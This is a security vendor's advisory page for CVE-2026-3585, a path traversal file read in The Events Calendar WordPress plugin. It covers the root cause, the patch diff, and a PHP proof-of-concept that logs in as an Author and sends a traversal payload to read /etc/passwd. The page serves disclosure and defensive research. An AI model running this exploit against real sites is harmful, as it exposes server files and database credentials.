Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-3585: The Events Calendar <= 6.15.17 – Authenticated (Author+) Arbitrary File Read via ajax_create_import (the-events-calendar)

CVE ID CVE-2026-3585
Severity High (CVSS 7.5)
CWE 22
Vulnerable Version 6.15.17
Patched Version 6.15.17.1
Disclosed March 8, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3585:

The vulnerability exists in The Events Calendar plugin’s CSV import functionality. The root cause is insufficient validation of user-supplied file paths in the `get_file_path()` method within `/src/Tribe/Aggregator/Record/CSV.php`. This method processes the `file` parameter from the `meta` array without verifying the file extension or restricting the file location. Attackers with Author-level WordPress access can exploit the `ajax_create_import` AJAX handler by submitting a crafted request with a path traversal payload in the `file` parameter. The vulnerable code path starts at the AJAX handler, which calls the CSV import functionality, eventually reaching the `get_file_path()` method. This method uses `realpath()` on the user-controlled input but lacks validation to ensure the file is a CSV and resides within the WordPress uploads directory. Successful exploitation allows reading arbitrary server files, including configuration files, database credentials, and other sensitive data.

The patch in version 6.15.17.1 adds two security checks to the `get_file_path()` method. First, it uses `wp_check_filetype()` to verify the file has a `.csv` extension. Second, it restricts the file path to the WordPress uploads directory by comparing the resolved path against `wp_upload_dir()[‘basedir’]`. These changes prevent path traversal by rejecting non-CSV files and files outside the designated upload directory. The patch also updates the plugin version constants across multiple files and modifies Composer autoloader class names, which are unrelated to the security fix.

Differential between vulnerable and patched code

Code Diff
--- a/the-events-calendar/common/vendor/vendor-prefixed/autoload.php
+++ b/the-events-calendar/common/vendor/vendor-prefixed/autoload.php
@@ -19,4 +19,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit32e50cbf9d69b270942f12dec8f66cd8::getLoader();
+return ComposerAutoloaderInit3e6cb64ce382810755e1ea0de130a8b7::getLoader();
--- a/the-events-calendar/common/vendor/vendor-prefixed/composer/autoload_real.php
+++ b/the-events-calendar/common/vendor/vendor-prefixed/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInit32e50cbf9d69b270942f12dec8f66cd8
+class ComposerAutoloaderInit3e6cb64ce382810755e1ea0de130a8b7
 {
     private static $loader;

@@ -24,12 +24,12 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInit32e50cbf9d69b270942f12dec8f66cd8', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInit3e6cb64ce382810755e1ea0de130a8b7', 'loadClassLoader'), true, true);
         self::$loader = $loader = new TECCommonComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInit32e50cbf9d69b270942f12dec8f66cd8', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInit3e6cb64ce382810755e1ea0de130a8b7', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(TECCommonComposerAutoloadComposerStaticInit32e50cbf9d69b270942f12dec8f66cd8::getInitializer($loader));
+        call_user_func(TECCommonComposerAutoloadComposerStaticInit3e6cb64ce382810755e1ea0de130a8b7::getInitializer($loader));

         $loader->setClassMapAuthoritative(true);
         $loader->register(true);
--- a/the-events-calendar/common/vendor/vendor-prefixed/composer/autoload_static.php
+++ b/the-events-calendar/common/vendor/vendor-prefixed/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace TECCommonComposerAutoload;

-class ComposerStaticInit32e50cbf9d69b270942f12dec8f66cd8
+class ComposerStaticInit3e6cb64ce382810755e1ea0de130a8b7
 {
     public static $prefixLengthsPsr4 = array (
         'T' =>
@@ -584,9 +584,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInit32e50cbf9d69b270942f12dec8f66cd8::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInit32e50cbf9d69b270942f12dec8f66cd8::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInit32e50cbf9d69b270942f12dec8f66cd8::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInit3e6cb64ce382810755e1ea0de130a8b7::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInit3e6cb64ce382810755e1ea0de130a8b7::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInit3e6cb64ce382810755e1ea0de130a8b7::$classMap;

         }, null, ClassLoader::class);
     }
--- a/the-events-calendar/src/Tribe/Aggregator/Record/CSV.php
+++ b/the-events-calendar/src/Tribe/Aggregator/Record/CSV.php
@@ -309,6 +309,7 @@
 	 * Returns the path to the CSV file.
 	 *
 	 * @since 4.6.15
+	 * @since 6.15.17.1 Strengthen file type and location checks during aggregator imports.
 	 *
 	 * @return bool|false|string Either the absolute path to the CSV file or `false` on failure.
 	 */
@@ -319,6 +320,21 @@
 			$file_path = realpath( $this->meta['file'] );
 		}

+		if ( $file_path ) {
+			// Only allow CSV files — reject any other extension to prevent file disclosure.
+			$filetype = wp_check_filetype( $file_path );
+			if ( empty( $filetype['ext'] ) || 'csv' !== strtolower( $filetype['ext'] ) ) {
+				return false;
+			}
+
+			// Restrict the file to the WordPress uploads directory to prevent path traversal.
+			$upload_info  = wp_upload_dir();
+			$uploads_base = realpath( $upload_info['basedir'] );
+			if ( false === $uploads_base || 0 !== strpos( $file_path, trailingslashit( $uploads_base ) ) ) {
+				return false;
+			}
+		}
+
 		return $file_path && file_exists( $file_path ) ? $file_path : false;
 	}

--- a/the-events-calendar/src/Tribe/Main.php
+++ b/the-events-calendar/src/Tribe/Main.php
@@ -40,7 +40,7 @@
 		const POSTTYPE            = 'tribe_events';
 		const VENUE_POST_TYPE     = 'tribe_venue';
 		const ORGANIZER_POST_TYPE = 'tribe_organizer';
-		const VERSION             = '6.15.17';
+		const VERSION             = '6.15.17.1';

 		/**
 		 * Min Pro Addon.
--- a/the-events-calendar/the-events-calendar.php
+++ b/the-events-calendar/the-events-calendar.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: The Events Calendar
  * Description: The Events Calendar is a carefully crafted, extensible plugin that lets you easily share your events. Beautiful. Solid. Awesome.
- * Version: 6.15.17
+ * Version: 6.15.17.1
  * Requires at least: 6.7
  * Requires PHP: 7.4
  * Author: The Events Calendar
--- a/the-events-calendar/vendor/composer/installed.php
+++ b/the-events-calendar/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'the-events-calendar/the-events-calendar',
-        'pretty_version' => 'dev-release/M26.banette',
-        'version' => 'dev-release/M26.banette',
-        'reference' => 'fa99c3a26df2970065245a1bfacf3985c8e9235f',
+        'pretty_version' => 'dev-release/M26.blaziken',
+        'version' => 'dev-release/M26.blaziken',
+        'reference' => '5daf5c19ecea7a934f7ae292542d9678f1386a58',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'the-events-calendar/the-events-calendar' => array(
-            'pretty_version' => 'dev-release/M26.banette',
-            'version' => 'dev-release/M26.banette',
-            'reference' => 'fa99c3a26df2970065245a1bfacf3985c8e9235f',
+            'pretty_version' => 'dev-release/M26.blaziken',
+            'version' => 'dev-release/M26.blaziken',
+            'reference' => '5daf5c19ecea7a934f7ae292542d9678f1386a58',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3585 - The Events Calendar <= 6.15.17 - Authenticated (Author+) Arbitrary File Read via ajax_create_import
<?php

$target_url = 'http://target-site.com';
$username = 'author_user';
$password = 'author_pass';

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$admin_ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);

// Step 2: Extract nonce from Events import page
$import_url = $target_url . '/wp-admin/edit.php?post_type=tribe_events&page=aggregator';
curl_setopt($ch, CURLOPT_URL, $import_url);
curl_setopt($ch, CURLOPT_POST, 0);
$response = curl_exec($ch);

// Extract nonce from page (simplified - actual implementation would parse HTML)
// The nonce is typically in a meta tag or JavaScript variable
// For this PoC, we assume the attacker has obtained a valid nonce
$nonce = 'extracted_nonce_here';

// Step 3: Exploit the ajax_create_import endpoint with path traversal
curl_setopt($ch, CURLOPT_URL, $admin_ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'tribe_aggregator_create_import',
    'origin' => 'csv',
    'nonce' => $nonce,
    'meta' => json_encode([
        'file' => '../../../../../../etc/passwd',  // Path traversal payload
        'content_type' => 'text/csv',
        'frequency' => 'daily'
    ])
]));

$response = curl_exec($ch);

// The response should contain the contents of /etc/passwd if vulnerable
echo "Response:n" . $response . "n";

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School